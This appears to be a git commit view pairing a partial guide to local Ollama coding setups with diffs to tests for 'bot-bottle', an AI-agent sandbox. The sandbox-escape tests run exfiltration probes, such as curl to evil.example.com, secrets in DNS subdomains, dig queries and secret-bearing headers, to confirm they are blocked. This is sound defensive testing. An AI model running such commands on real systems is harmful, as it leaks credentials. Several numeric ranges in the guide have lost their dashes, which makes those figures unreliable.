host and container driver versions match. Not suitable if you need VM-level snapshots
or live migration.
### Summary
| Topology | GPU overhead | Isolation | Complexity |
|---|---|---|---|
| Native | 0% | None | Low |
| Docker (Linux) | ~12% | Process | Low |
| LXC | <1% | Namespace | Medium |
| KVM passthrough | 25% | Full VM | High |
| VM no passthrough | CPU-only | Full VM | Medium |
Running Ollama in a VM will **not** significantly slow inference as long as GPU passthrough
is configured. Without passthrough (software rendering / CPU fallback) performance
collapses — that is what the user is rightly worried about.
### Local vs. remote server
| Factor | Local machine | Remote server |
|---|---|---|
| Latency | Near-zero | Network round-trip; cumulative in agent loops |
| Cost | Zero after hardware | Per-token or subscription |
| Privacy | 100% on-device | Data leaves the machine |
| Model size ceiling | VRAM-limited | No hard limit (671B+ feasible) |
| Offline use | Yes | No |
| Concurrency under load | Sequential by default | Scales horizontally |
For agentic coding workflows making 2050 tool calls per session, network latency
accumulates quickly. Local inference eliminates this. A practical hybrid pattern:
use the local GPU for routine coding loops; route only to a remote API for tasks
requiring a 70B+ model or very long context (>128K tokens).
---
## 2. Harness selection
The landscape in 2026 has settled into three categories: IDE plugins, terminal agents,
and chat UIs.
### Continue.dev — recommended IDE plugin
Open-source VS Code / JetBrains / Zed / Vim extension. Routes autocomplete, chat, and
refactoring commands to any configured LLM backend (Ollama, cloud APIs). The recommended
setup uses two models: a small FIM-capable model for inline autocomplete (Qwen2.5-Coder 7B)
and a larger model for chat/edit. Handles inline completions, multi-file edits, and
codebase-aware chat. No API key, no data leaving the machine.
### Aider — recommended for git-native terminal workflows
Terminal-based coding agent. Builds a codebase map before editing, makes changes
directly, and auto-commits to git with readable messages. Every change is one
`git revert` away. Supports 100+ languages; connects to any Ollama-served model
via the OpenAI-compatible API. Best for terminal-first developers who want
version-controlled agent interactions. Does not do inline autocomplete.
### OpenCode — recommended for bot-bottlestyle agent loops
Terminal-based coding agent with 15 built-in tools (bash execution, file read/write/edit,
grep, glob, web fetch, MCP support) and connections to 75+ model providers including
local Ollama models. This is the closest open-source equivalent to a Claude Codestyle
plan → tool-call → execute → observe → loop. Native Ollama integration.
**Critical setup note:** Ollama defaults to a 4096-token context window, which is
completely insufficient for an agent loop carrying conversation history, tool schemas,
a system prompt, and code simultaneously. Configure at least 64K tokens explicitly
in the model's context settings.
### Cline — agentic VS Code assistant
VS Code extension that operates as an autonomous agent: plans, edits files, runs commands
in a loop, connects to Ollama's local endpoint. Compared to OpenCode it lives inside the
IDE rather than the terminal; compared to Continue.dev it is a full agent rather than a
plugin. Its system prompt overhead is higher (~7,00010,000 tokens) than minimal harnesses.
### Open WebUI / Jan / LM Studio — chat UIs, not coding harnesses
These are browser or desktop chat interfaces useful for ad-hoc conversations (explaining
APIs, drafting documentation, exploring ideas) but without IDE integration, autocomplete,
or git integration. LM Studio offers the smoothest onboarding (visual model browser with
VRAM estimates). Jan is the most privacy-auditable (fully open-source, Apache 2.0, no
telemetry). Neither is a replacement for a coding harness.
### Harness comparison
| Harness | Type | Autocomplete | Agent loop | Ollama | Git integration |
|---|---|---|---|---|---|
| Continue.dev | IDE plugin | Yes (FIM) | Basic | Native | No |
| Aider | Terminal agent | No | Multi-turn | Via API | Auto-commit |
| OpenCode | Terminal agent | No | Full tools | Native | Via bash |
| Cline | IDE agent | No | Full tools | Via API | Via bash |
| Open WebUI | Chat UI | No | No | Native | No |
| Jan | Chat UI | No | No | Native | No |
For a bot-bottle workflow (an isolated sandbox running an agentic loop with tool access),
**OpenCode** is the closest open-source match. For an IDE-first developer who wants
autocomplete + chat, **Continue.dev + Qwen2.5-Coder 7B** is the recommended pair.
---
## 3. Model selection: RTX 3070 (8 GB VRAM / 30 GB RAM)
### VRAM hard limits at Q4_K_M quantization
| Model size | Approx. VRAM (Q4_K_M) | Fits in 8 GB? | Tokens/sec (RTX 3070) |
|---|---|---|---|
| 34B | 2.53.5 GB | Yes, with headroom | 6090 |
| 78B | 56 GB | Yes | 3555 |
| 1214B | 7.59 GB | Edge / RAM offload | 818 |
| 22B+ | 14+ GB | No | — |
The RTX 3070 has high memory bandwidth for its VRAM tier and consistently outperforms
the newer RTX 4060 Ti on token generation speed. Bandwidth matters more than raw compute
for inference.
### Does Gemma 4 exist?
Yes. Google released **Gemma 4** on 2 April 2026 (Apache 2.0). The family includes
E2B (2B), E4B (4B), a 26B MoE, and a 31B Dense. A 12B multimodal variant was announced
2026-06-04. The 31B scores 80.0% on LiveCodeBench v6 — a major jump from Gemma 3 27B
at 29.1%. However, only the E4B fits comfortably within 8 GB VRAM:
| Variant | VRAM (approx.) | Fits? |
|---|---|---|
| Gemma 4 E2B | ~2 GB | Yes |
| Gemma 4 E4B | ~5 GB | Yes |
| Gemma 4 12B | ~89 GB (Q4) | Edge |
| Gemma 4 26B MoE | 1418 GB | No |
| Gemma 4 31B Dense | ~20 GB | No |
### Model-by-model evaluation
**Qwen2.5-Coder 7B — primary recommendation**
The strongest purpose-built coding model that fits fully within 8 GB VRAM. Leads
HumanEval among 78B-class models. Strong on Python, JavaScript, TypeScript. Has
FIM (fill-in-the-middle) support for inline autocomplete. 3555 tok/sec on RTX 3070.
```
ollama pull qwen2.5-coder:7b
```
**Qwen2.5-Coder 14B — secondary, with RAM offloading**
At Q4_K_M this needs ~8.7 GB, just over the 8 GB limit. With 30 GB system RAM, Ollama
automatically offloads the overflow layers to CPU. Performance drops to ~818 tok/sec
versus 3555 tok/sec for the 7B fully in VRAM. Quality is noticeably better for complex
multi-file reasoning. Viable for chat-based coding tasks where quality matters more than
speed; too slow for live autocomplete. Keep context window at 8K tokens to minimize
VRAM pressure during offloaded inference.
```
ollama pull qwen2.5-coder:14b
```
**Gemma 4 E4B (~5 GB VRAM)**
Fits comfortably with 3 GB to spare. Strong on reasoning, multimodal, and general-purpose
tasks. Less specialized for coding than Qwen2.5-Coder 7B. Good choice for one model that
covers coding + general reasoning + image analysis. The E4B outperforms Gemma 3 equivalents
significantly on coding benchmarks.
```
ollama pull gemma4:e4b
```
**Phi-4 Mini 3.8B (~3 GB VRAM)**
Best reasoning-per-VRAM model; leaves ~5 GB free for other applications. Strong on math,
logic, and structured output. Good for agentic sub-tasks requiring tight reasoning. Not the
strongest at raw code synthesis but excellent for reasoning-heavy parts of a coding loop.
Viable as the autocomplete model in a two-model Continue.dev setup.
```
ollama pull phi4-mini
```
**DeepSeek-R1 8B (~56 GB VRAM)**
Strong reasoning model for logic-heavy code (algorithms, correctness proofs). The full
DeepSeek-Coder-V2 (236B MoE) is impractical here — only the 8B distilled variants are
relevant. Outperforms Gemma 4 E4B on reasoning-heavy benchmarks; weaker on raw code
generation than Qwen2.5-Coder 7B.
**Codestral — not viable at 8 GB**
The top FIM autocomplete model on HumanEval-FIM benchmarks, but requires 1216 GB VRAM
minimum. Not an option here. Worth revisiting if upgrading to a 12 GB+ card (RTX 4070
Super or newer).
### RAM offloading: does 30 GB help?
Yes, meaningfully. Ollama automatically splits layers between GPU and system RAM when
VRAM is exceeded. With 30 GB RAM, models up to ~14B at Q4_K_M run with partial offloading.
The tradeoff is a 25× throughput penalty (818 tok/sec vs 3555 tok/sec). Acceptable
for batch tasks (reviewing a PR, generating an algorithm); too slow for live autocomplete.
### Recommended setup
**Autocomplete (fast, always-in-VRAM):** `qwen2.5-coder:7b`
- Configure in Continue.dev as the tab-completion model
- FIM-capable; 3555 tok/sec; fits with 23 GB VRAM to spare
**Chat / agent loop (quality-first):** `qwen2.5-coder:14b` or `gemma4:e4b`
- 14B for strongest multi-file coding; expect 818 tok/sec with RAM offload
- Gemma 4 E4B if you want vision + general reasoning + coding in one model; ~60 tok/sec
**Two-model Continue.dev config (lower VRAM pressure):**
`phi4-mini` (autocomplete) + `qwen2.5-coder:7b` (chat) — both fit simultaneously with
~12 GB to spare, keeping the OS and IDE from contending for VRAM.
---
## Sources
- [Ollama on Proxmox: GPU Passthrough for LXC and VM AI Workloads](https://linuxprofessional.ie/article.php?slug=ollama-proxmox-gpu-passthrough-lxc-vm)
- [Run Ollama with NVIDIA GPU in Proxmox VMs and LXC containers](https://www.virtualizationhowto.com/2025/05/run-ollama-with-nvidia-gpu-in-proxmox-vms-and-lxc-containers/)
- [Ollama Performance Tuning: Getting Maximum Speed from Local LLMs](https://dasroot.net/posts/2026/01/ollama-performance-tuning-gpu-acceleration-model-quantization/)
- [Pros and Cons: Containerized Ollama vs. Local Setup](https://alain-airom.medium.com/pros-and-cons-using-containerized-ollama-vs-local-setup-d9bdf225bbb5)
- [Best Local Coding Models Ranked: Every VRAM Tier (2026)](https://insiderllm.com/guides/best-local-coding-models-2026/)
- [Best Local LLMs for RTX 4060, RTX 3070, and RTX 5060](https://aiagentskit.com/blog/best-local-llms-rtx-4060-3070-5060/)
- [Best Local LLMs for 8GB VRAM: Real Hardware Benchmarks (2026)](https://localllm.in/blog/best-local-llms-8gb-vram-2025)
- [Self-Hosted AI Coding Agent: Ollama + Continue + Open WebUI Setup in 2026](https://www.web3aiblog.com/blog/self-hosted-ai-coding-agent-ollama-continue-2026)
- [Best Local-First AI Coding Tools 2026: 14 Compared](https://nimbalyst.com/blog/best-local-first-ai-coding-tools-2026/)
- [OpenCode + Ollama: Private Local AI Coding Agent Setup](https://lushbinary.com/blog/opencode-ollama-local-ai-coding-privacy-guide/)
- [Gemma 4: Google DeepMind](https://deepmind.google/models/gemma/gemma-4/)
- [Running Gemma 4 Locally: VRAM Requirements](https://knightli.com/en/2026/05/01/gemma-4-local-vram-quantization-table/)
- [Phi-4 Mini vs. Gemma 3 vs. Qwen 2.5: Best SLM for Coding Tasks in 2026](https://botmonster.com/ai/phi-4-mini-vs-gemma-3-vs-qwen-25-best-slm-coding-2026/)
- [Qwen2.5-Coder 14B VRAM Requirements Guide](https://willitrunai.com/blog/qwen-2-5-coder-14b-vram-requirements)
- [Comparing AI Harnesses: OpenCode, Ollama, LM Studio, Claude Code, Open WebUI, and VS Code](https://jace.pro/blog/comparing-ai-harnesses-opencode-ollama-lm-studio-claude-code-open-webui-and-vs-code/)
+1 -6
View File
@@ -11,10 +11,5 @@
],
"pythonVersion": "3.11",
"typeCheckingMode": "strict",
"reportMissingTypeStubs": "none",
"reportUnknownMemberType": false,
"reportUnknownParameterType": false,
"reportUnknownVariableType": false,
"reportUnknownArgumentType": false,
"reportPrivateUsage": false
"reportMissingTypeStubs": "none"
}
-6
View File
@@ -1,6 +0,0 @@
# Development and linting dependencies only.
# The bot-bottle project itself has no runtime dependencies.
# These tools are used for code quality checks in CI/CD.
pylint>=3.0.0
pyright>=1.1.300
+2 -1
View File
@@ -24,6 +24,7 @@ this test runs in DinD too — no act_runner skip needed.
from __future__ import annotations
import os
import shutil
import subprocess
import tempfile
import time
@@ -31,7 +32,7 @@ import unittest
from pathlib import Path
from bot_bottle import supervise
from bot_bottle.backend.docker import bottle_state
from bot_bottle.backend.docker import bottle_state, capability_apply
from bot_bottle.backend.docker.capability_apply import apply_capability_change
from bot_bottle.backend.docker.network import (
network_create_egress,
+2 -2
View File
@@ -32,11 +32,11 @@ from bot_bottle.backend.docker.network import (
network_create_internal,
network_remove,
)
from bot_bottle.pipelock import (
from bot_bottle.backend.docker.pipelock import (
PIPELOCK_CA_CERT_IN_CONTAINER,
PIPELOCK_CA_KEY_IN_CONTAINER,
pipelock_tls_init,
)
from bot_bottle.backend.docker.pipelock import pipelock_tls_init
from bot_bottle.pipelock import PipelockProxy
from bot_bottle.backend.docker.pipelock_apply import (
PipelockApplyError,
+16 -16
View File
@@ -195,10 +195,10 @@ class TestSandboxEscape(unittest.TestCase):
except BaseException:
pass
cls._identity = ""
if cls._stage_dir is not None: # type: ignore
if cls._stage_dir is not None:
shutil.rmtree(cls._stage_dir, ignore_errors=True)
cls._stage_dir = None # type: ignore[assignment]
if cls._key_path is not None: # type: ignore
if cls._key_path is not None:
try:
cls._key_path.unlink()
except OSError:
@@ -212,7 +212,7 @@ class TestSandboxEscape(unittest.TestCase):
`bottle.egress.routes` (only api.anthropic.com is). Pipelock
or egress should reject the request with a non-200 response,
and the actual upstream's content must not appear in stdout."""
r = self._bottle.exec( # type: ignore
r = self._bottle.exec(
'curl --silent --show-error --max-time 8 --fail '
'https://evil.example.com/'
)
@@ -232,7 +232,7 @@ class TestSandboxEscape(unittest.TestCase):
hostname to a non-allowlisted IP. Pipelock should
not honor the spoof (it does its own resolution)."""
with self.subTest(attack="direct IP"):
r = self._bottle.exec( # type: ignore
r = self._bottle.exec(
'curl --silent --show-error --max-time 8 --fail '
'https://198.51.100.1/'
)
@@ -243,7 +243,7 @@ class TestSandboxEscape(unittest.TestCase):
)
with self.subTest(attack="host-header spoof"):
r = self._bottle.exec( # type: ignore
r = self._bottle.exec(
'curl --silent --show-error --max-time 8 --fail '
'--resolve api.anthropic.com:443:198.51.100.1 '
'https://api.anthropic.com/'
@@ -265,13 +265,13 @@ class TestSandboxEscape(unittest.TestCase):
# `"blocked: request body contains secret"`).
_SANDBOX_BLOCK_MARKERS = ("egress:", "pipelock", "blocked:")
def _assert_sandbox_block(self, label: str, r: object) -> None: # type: ignore
def _assert_sandbox_block(self, label: str, r) -> None:
"""A real sandbox block produces an HTTP 403 with a
recognizable sandbox sidecar marker in the body. ANY
other outcome (200 from upstream, 401/404 from upstream,
non-marker 5xx) means the request escaped the secret
reached the network."""
body_and_code = (r.stdout or "").strip() # type: ignore
body_and_code = (r.stdout or "").strip()
# The curl invocation appends `\nHTTP_CODE:%{http_code}` so
# we can disambiguate. Split that off.
http_code = ""
@@ -281,7 +281,7 @@ class TestSandboxEscape(unittest.TestCase):
body, _, http_code = body_and_code.rpartition(marker)
http_code = http_code.strip()
body = body.rstrip()
haystack = (body + " " + (r.stderr or "")).lower() # type: ignore
haystack = (body + " " + (r.stderr or "")).lower()
has_marker = any(m in haystack for m in self._SANDBOX_BLOCK_MARKERS)
self.assertTrue(
has_marker and http_code == "403",
@@ -290,7 +290,7 @@ class TestSandboxEscape(unittest.TestCase):
f"If the response came from the actual upstream, the "
f"secret REACHED the network — that's the leak this "
f"test exists to catch. body={body!r} "
f"stderr={(r.stderr or '').strip()!r}", # type: ignore
f"stderr={(r.stderr or '').strip()!r}",
)
def test_3_http_exfil_blocked(self) -> None:
@@ -343,9 +343,9 @@ class TestSandboxEscape(unittest.TestCase):
f'-H "X-Custom: $TEST_SECRET_ANTHROPIC"',
),
]
for name, cmd in shapes: # type: ignore
for name, cmd in shapes:
with self.subTest(shape=name):
r = self._bottle.exec(cmd) # type: ignore
r = self._bottle.exec(cmd)
self._assert_sandbox_block(name, r)
# ---- attack 4: DNS exfil -----------------------------------------
@@ -365,7 +365,7 @@ class TestSandboxEscape(unittest.TestCase):
intact (PRD 0022 Q2)."""
with self.subTest(attack="crafted subdomain"):
r = self._bottle.exec( # type: ignore
r = self._bottle.exec(
'curl --silent --show-error --max-time 8 --fail '
'"https://$TEST_SECRET_GENERIC.api.anthropic.com/"'
)
@@ -379,7 +379,7 @@ class TestSandboxEscape(unittest.TestCase):
# `+short +tries=1 +time=3`: no debug output, one attempt,
# 3s timeout. Outside the internal network has no path;
# dig should fail or return empty.
r = self._bottle.exec( # type: ignore
r = self._bottle.exec(
'dig +short +tries=1 +time=3 @8.8.8.8 '
'"$TEST_SECRET_GENERIC.example.com" '
'; echo "EXIT=$?"'
@@ -431,7 +431,7 @@ class TestSandboxEscape(unittest.TestCase):
with self.subTest(secret=name):
# Fresh repo per shape so prior commits don't
# confuse gitleaks's diff. -rm -rf is best-effort.
script = ( # type: ignore
script = (
'set -eu\n'
'cd /tmp\n'
'rm -rf sandbox-escape-repo\n'
@@ -446,8 +446,8 @@ class TestSandboxEscape(unittest.TestCase):
f'git remote add origin {upstream_url}\n'
'git push origin HEAD:refs/heads/master 2>&1\n'
)
r = self._bottle.exec(script) # type: ignore
combined = (r.stderr + r.stdout).lower() # type: ignore
r = self._bottle.exec(script)
combined = (r.stderr + r.stdout).lower()
self.assertNotEqual(
0, r.returncode,
@@ -12,6 +12,7 @@ localhost-reach / egress-port-bypass probes) lives in chunk 2d."""
from __future__ import annotations
import json
import os
import subprocess
import time
+2 -1
View File
@@ -11,12 +11,13 @@ from pathlib import Path
from bot_bottle.agent_provider import (
CODEX_HOST_CREDENTIAL_HOSTS,
agent_provision_plan,
runtime_for,
)
from bot_bottle.egress import CODEX_HOST_CREDENTIAL_TOKEN_REF
def _jwt(exp: int) -> str:
def enc(obj: dict[str, object]) -> str: # type: ignore
def enc(obj: dict) -> str:
raw = json.dumps(obj, separators=(",", ":")).encode()
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
return f"{enc({'alg': 'none'})}.{enc({'exp': exp})}.sig"
+3 -3
View File
@@ -14,7 +14,7 @@ from __future__ import annotations
import subprocess
import unittest
from typing import Callable
from unittest.mock import patch
from unittest.mock import MagicMock, call, patch
# ---------------------------------------------------------------------------
@@ -175,9 +175,9 @@ class TestExecUserSwitching(unittest.TestCase):
class TestExecResultParity(unittest.TestCase):
"""Both backends return ExecResult with returncode, stdout, stderr."""
def _stub_run(self, argv: object, **kwargs: object) -> object: # type: ignore
def _stub_run(self, argv, **kwargs):
return subprocess.CompletedProcess(
argv, 0, stdout="out\n", stderr="err\n", # type: ignore
argv, 0, stdout="out\n", stderr="err\n",
)
def test_docker_exec_result_shape(self):
+6 -6
View File
@@ -65,7 +65,7 @@ class TestEnumerateActiveAgents(unittest.TestCase):
)
class _FakeBackend:
def __init__(self, items: object, available: object = True) -> None: # type: ignore
def __init__(self, items, available=True):
self._items = items
self._available = available
@@ -100,13 +100,13 @@ class TestEnumerateActiveAgents(unittest.TestCase):
)
class _FakeBackend:
def __init__(self, items: object) -> None: # type: ignore
def __init__(self, items):
self._items = items
def is_available(self) -> bool:
def is_available(self):
return True
def enumerate_active(self) -> object:
def enumerate_active(self):
return self._items
with patch.object(
@@ -150,11 +150,11 @@ class TestEnumerateActiveAgents(unittest.TestCase):
)
class _FakeBackend:
def __init__(self, items: object, available: object) -> None: # type: ignore
def __init__(self, items, available):
self._items = items
self._available = available
def is_available(self) -> object:
def is_available(self):
return self._available
def enumerate_active(self):
+3 -3
View File
@@ -67,13 +67,13 @@ class TestApplyCapabilityChange(_FakeHomeMixin, unittest.TestCase):
self._orig_push = capability_apply._push_working_tree
self._orig_teardown = capability_apply._teardown_bottle
def stub_snapshot(slug: object) -> None: # type: ignore
def stub_snapshot(slug):
self._calls.append(f"snapshot:{slug}")
def stub_push(slug: object) -> None: # type: ignore
def stub_push(slug):
self._calls.append(f"push:{slug}")
def stub_teardown(slug: object) -> None: # type: ignore
def stub_teardown(slug):
self._calls.append(f"teardown:{slug}")
capability_apply.snapshot_transcript = stub_snapshot # type: ignore[assignment]
+5 -4
View File
@@ -6,6 +6,7 @@ the operator confirms. Mocks the backends and stdin."""
from __future__ import annotations
import sys
import unittest
from unittest.mock import patch, MagicMock
@@ -31,7 +32,7 @@ class TestCmdCleanup(unittest.TestCase):
return_value=("docker", "smolmachines"),
), patch.object(
cmd, "get_bottle_backend",
side_effect=lambda name: backends_by_name[name], # type: ignore
side_effect=lambda name: backends_by_name[name],
), patch.object(
cmd, "_prompt_yes", return_value=True,
):
@@ -52,7 +53,7 @@ class TestCmdCleanup(unittest.TestCase):
return_value=("docker", "smolmachines"),
), patch.object(
cmd, "get_bottle_backend",
side_effect=lambda name: backends_by_name[name], # type: ignore
side_effect=lambda name: backends_by_name[name],
), patch.object(
cmd, "_prompt_yes",
) as prompt:
@@ -71,7 +72,7 @@ class TestCmdCleanup(unittest.TestCase):
return_value=("docker", "smolmachines"),
), patch.object(
cmd, "get_bottle_backend",
side_effect=lambda name: backends_by_name[name], # type: ignore
side_effect=lambda name: backends_by_name[name],
), patch.object(
cmd, "_prompt_yes", return_value=False,
):
@@ -91,7 +92,7 @@ class TestCmdCleanup(unittest.TestCase):
return_value=("docker", "smolmachines"),
), patch.object(
cmd, "get_bottle_backend",
side_effect=lambda name: backends_by_name[name], # type: ignore
side_effect=lambda name: backends_by_name[name],
), patch.object(
cmd, "_prompt_yes", return_value=True,
):
-141
View File
@@ -1,141 +0,0 @@
"""Unit: cmd_start selector dispatch (PRD 0051).
Tests that cmd_start calls filter_select when name / backend are absent,
skips them when both are explicit, and returns 0 on cancel.
All actual launch work is stubbed so no container is created.
"""
from __future__ import annotations
import os
import unittest
from unittest.mock import MagicMock, patch
import bot_bottle.cli.start as start_mod
import bot_bottle.cli.tui as tui_mod
def _make_manifest(agent_names: list[str]):
manifest = MagicMock()
manifest.agents = {name: MagicMock() for name in agent_names}
return manifest
class TestCmdStartSelector(unittest.TestCase):
"""Drive cmd_start with a minimal set of stubs."""
def setUp(self):
# Stub Manifest.resolve so no on-disk manifest is needed.
self._manifest = _make_manifest(["researcher", "implementer"])
self._resolve_patch = patch(
"bot_bottle.cli.start.Manifest.resolve",
return_value=self._manifest,
)
self._resolve_patch.start()
# Stub _launch_bottle so no real container work happens.
self._launch_patch = patch(
"bot_bottle.cli.start._launch_bottle",
return_value=0,
)
self._launch_mock = self._launch_patch.start()
# Stub filter_select to avoid opening /dev/tty.
self._tui_patch = patch.object(tui_mod, "filter_select")
self._tui_mock = self._tui_patch.start()
# Ensure BOT_BOTTLE_BACKEND is absent so the backend picker fires.
self._env_patch = patch.dict(os.environ, {}, clear=False)
self._env_patch.start()
os.environ.pop("BOT_BOTTLE_BACKEND", None)
def tearDown(self):
self._resolve_patch.stop()
self._launch_patch.stop()
self._tui_patch.stop()
self._env_patch.stop()
# ------------------------------------------------------------------
# Both explicit — no picker shown
# ------------------------------------------------------------------
def test_both_explicit_skips_picker(self):
self._tui_mock.return_value = "researcher"
rc = start_mod.cmd_start(["--backend=docker", "researcher"])
self.assertEqual(0, rc)
self._tui_mock.assert_not_called()
self._launch_mock.assert_called_once()
_, kwargs = self._launch_mock.call_args
self.assertEqual("docker", kwargs["backend_name"])
# ------------------------------------------------------------------
# Agent absent → agent picker fires; backend explicit
# ------------------------------------------------------------------
def test_agent_absent_shows_agent_picker(self):
self._tui_mock.return_value = "researcher"
rc = start_mod.cmd_start(["--backend=docker"])
self.assertEqual(0, rc)
self._tui_mock.assert_called_once()
call_kwargs = self._tui_mock.call_args
self.assertEqual(["implementer", "researcher"], call_kwargs[0][0])
self.assertIn("agent", call_kwargs[1]["title"].lower())
def test_agent_picker_cancel_returns_0(self):
self._tui_mock.return_value = None
rc = start_mod.cmd_start(["--backend=docker"])
self.assertEqual(0, rc)
self._launch_mock.assert_not_called()
# ------------------------------------------------------------------
# Agent explicit, backend absent → backend picker fires
# ------------------------------------------------------------------
def test_backend_absent_shows_backend_picker(self):
self._tui_mock.return_value = "docker"
rc = start_mod.cmd_start(["researcher"])
self.assertEqual(0, rc)
self._tui_mock.assert_called_once()
call_kwargs = self._tui_mock.call_args
self.assertIn("backend", call_kwargs[1]["title"].lower())
def test_backend_picker_cancel_returns_0(self):
self._tui_mock.return_value = None
rc = start_mod.cmd_start(["researcher"])
self.assertEqual(0, rc)
self._launch_mock.assert_not_called()
def test_bot_bottle_backend_env_skips_backend_picker(self):
os.environ["BOT_BOTTLE_BACKEND"] = "docker"
try:
rc = start_mod.cmd_start(["researcher"])
finally:
os.environ.pop("BOT_BOTTLE_BACKEND", None)
self.assertEqual(0, rc)
self._tui_mock.assert_not_called()
# ------------------------------------------------------------------
# Both absent → agent picker then backend picker
# ------------------------------------------------------------------
def test_both_absent_shows_both_pickers_in_order(self):
self._tui_mock.side_effect = ["researcher", "docker"]
rc = start_mod.cmd_start([])
self.assertEqual(0, rc)
self.assertEqual(2, self._tui_mock.call_count)
first_title = self._tui_mock.call_args_list[0][1]["title"].lower()
second_title = self._tui_mock.call_args_list[1][1]["title"].lower()
self.assertIn("agent", first_title)
self.assertIn("backend", second_title)
def test_both_absent_agent_cancel_skips_backend_picker(self):
self._tui_mock.side_effect = [None]
rc = start_mod.cmd_start([])
self.assertEqual(0, rc)
self.assertEqual(1, self._tui_mock.call_count)
self._launch_mock.assert_not_called()
if __name__ == "__main__":
unittest.main()
+1 -1
View File
@@ -36,7 +36,7 @@ class TestCaptureSessionState(_FakeHomeMixin, unittest.TestCase):
# covers the real docker cp path.
self._snap_calls: list[str] = []
self._orig_snap = start_mod.snapshot_transcript
start_mod.snapshot_transcript = lambda identity: ( # type: ignore
start_mod.snapshot_transcript = lambda identity: (
self._snap_calls.append(identity)
)
-50
View File
@@ -1,50 +0,0 @@
"""Unit tests for bot_bottle.cli.tui — filter_select internals.
We test the pure-Python logic (_filter_items, cursor movement, confirm,
cancel) by exercising the internal helpers directly, without spinning up
a real curses session (which requires a TTY).
"""
from __future__ import annotations
import unittest
from bot_bottle.cli.tui import _filter_items, filter_select
class TestFilterItems(unittest.TestCase):
def setUp(self):
self.items = ["researcher", "implementer", "codex-researcher", "reviewer"]
def test_empty_query_returns_all(self):
self.assertEqual(self.items, _filter_items(self.items, ""))
def test_query_filters_case_insensitively(self):
result = _filter_items(self.items, "RESEARCH")
self.assertEqual(["researcher", "codex-researcher"], result)
def test_no_match_returns_empty(self):
self.assertEqual([], _filter_items(self.items, "zzz"))
def test_partial_match(self):
result = _filter_items(self.items, "impl")
self.assertEqual(["implementer"], result)
def test_empty_items_returns_empty(self):
self.assertEqual([], _filter_items([], "foo"))
class TestFilterSelectEmptyItems(unittest.TestCase):
def test_returns_none_for_empty_list(self):
# No TTY needed — the short-circuit fires before opening tty.
result = filter_select([], title="Pick one", tty_path="/dev/null")
self.assertIsNone(result)
def test_returns_none_when_tty_unavailable(self):
# /nonexistent is guaranteed to not open.
result = filter_select(["a", "b"], tty_path="/nonexistent/tty")
self.assertIsNone(result)
if __name__ == "__main__":
unittest.main()
+12 -12
View File
@@ -9,7 +9,7 @@ import unittest
from datetime import datetime, timezone
from pathlib import Path
from bot_bottle.contrib.codex.codex_auth import (
from bot_bottle.codex_auth import (
codex_auth_path,
codex_dummy_auth_json,
codex_host_access_token,
@@ -21,14 +21,14 @@ def _jwt(exp: int) -> str:
return _jwt_with_payload({"exp": exp})
def _jwt_with_payload(payload: dict[str, object]) -> str: # type: ignore
def enc(obj: dict[str, object]) -> str: # type: ignore
def _jwt_with_payload(payload: dict) -> str:
def enc(obj: dict) -> str:
raw = json.dumps(obj, separators=(",", ":")).encode()
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
return f"{enc({'alg': 'none'})}.{enc(payload)}.sig"
def _jwt_payload(token: str) -> dict[str, object]: # type: ignore
def _jwt_payload(token: str) -> dict:
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
return json.loads(base64.urlsafe_b64decode(payload.encode()).decode())
@@ -43,7 +43,7 @@ class TestCodexHostAccessToken(unittest.TestCase):
def tearDown(self):
self.tmp.cleanup()
def _write(self, payload: dict[str, object]) -> None: # type: ignore
def _write(self, payload: dict) -> None:
self.auth_path.write_text(json.dumps(payload))
def test_auth_path_uses_codex_home(self):
@@ -210,11 +210,11 @@ class TestCodexHostAccessToken(unittest.TestCase):
access_payload = _jwt_payload(dummy["tokens"]["access_token"])
auth = access_payload["https://api.openai.com/auth"]
profile = access_payload["https://api.openai.com/profile"]
self.assertEqual("plus", auth["chatgpt_plan_type"]) # type: ignore
self.assertEqual("acct-real", auth["chatgpt_account_id"]) # type: ignore
self.assertEqual("bot-bottle-placeholder", auth["chatgpt_user_id"]) # type: ignore
self.assertEqual("bot-bottle@example.invalid", profile["email"]) # type: ignore
self.assertTrue(profile["email_verified"]) # type: ignore
self.assertEqual("plus", auth["chatgpt_plan_type"])
self.assertEqual("acct-real", auth["chatgpt_account_id"])
self.assertEqual("bot-bottle-placeholder", auth["chatgpt_user_id"])
self.assertEqual("bot-bottle@example.invalid", profile["email"])
self.assertTrue(profile["email_verified"])
def test_dummy_auth_redacts_unknown_future_auth_fields(self):
secrets = [
@@ -289,8 +289,8 @@ class TestCodexHostAccessToken(unittest.TestCase):
self.assertEqual({}, access_payload["future_nested"])
self.assertEqual([], access_payload["future_list"])
auth = access_payload["https://api.openai.com/auth"]
self.assertEqual("bot-bottle-placeholder", auth["session_context"]) # type: ignore
self.assertEqual({}, auth["nested"]) # type: ignore
self.assertEqual("bot-bottle-placeholder", auth["session_context"])
self.assertEqual({}, auth["nested"])
if __name__ == "__main__":
+5 -6
View File
@@ -12,7 +12,6 @@ from __future__ import annotations
import subprocess
import unittest
from pathlib import Path
from typing import Any
from unittest import mock
from bot_bottle.agent_provider import AgentProvisionPlan
@@ -46,7 +45,7 @@ def _manifest(*, supervise: bool, with_git: bool, with_egress: bool) -> Manifest
"""Minimal manifest with the toggles the chunk-1 matrix needs.
The renderer only reads from the plan, not the manifest, so this
is just here to back BottleSpec."""
bottle: dict[str, object] = {}
bottle: dict = {}
if supervise:
bottle["supervise"] = True
if with_git:
@@ -272,13 +271,13 @@ class TestAgentAlwaysPresent(unittest.TestCase):
dockerfile="",
guest_env={"CODEX_HOME": "/home/node/.codex"},
)
plan = type(plan)(**{**vars(plan), "agent_provision": provision}) # type: ignore
plan = type(plan)(**{**vars(plan), "agent_provision": provision})
s = bottle_plan_to_compose(plan)["services"]["agent"]
self.assertIn("CODEX_HOME=/home/node/.codex", s["environment"])
def test_agent_runsc_runtime(self):
plan = _plan()
plan = type(plan)(**{**vars(plan), "use_runsc": True}) # type: ignore
plan = type(plan)(**{**vars(plan), "use_runsc": True})
s = bottle_plan_to_compose(plan)["services"]["agent"]
self.assertEqual("runsc", s["runtime"])
@@ -310,8 +309,8 @@ class TestSidecarBundleShape(unittest.TestCase):
+ supervise). PRD 0024 chunk 5 dropped the legacy four-sidecar
shape entirely, so the bundle is the only thing exercised here."""
def _render(self, **plan_kwargs: object) -> Any: # type: ignore
return bottle_plan_to_compose(_plan(**plan_kwargs)) # type: ignore
def _render(self, **plan_kwargs):
